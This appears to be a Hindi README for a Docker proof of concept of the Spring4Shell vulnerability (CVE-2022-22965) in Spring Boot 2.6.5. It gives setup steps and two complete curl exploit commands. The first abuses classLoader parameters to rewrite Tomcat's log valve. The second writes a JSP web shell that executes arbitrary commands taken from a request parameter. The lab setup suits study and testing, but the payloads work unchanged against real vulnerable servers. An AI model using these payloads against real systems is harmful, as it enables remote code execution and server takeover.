Spring Boot CVE-2022-22965

CVE-2022-22965 के लिए Spring Boot संस्करण 2.6.5 के साथ Docker PoC

🚀 आरंभ करना

1. वितरण कोड को https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip से डाउनलोड करें और इसे अनज़िप करें।
2. कमजोर एप्लिकेशन को बिल्ड और प्रारंभ करने के लिए docker compose up --build चलाएँ।
3. Tomcat कॉन्फ़िग वाल्व को बदलने के लिए curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" चलाएँ।
4. वेब शेल बनाने के लिए curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" चलाएँ।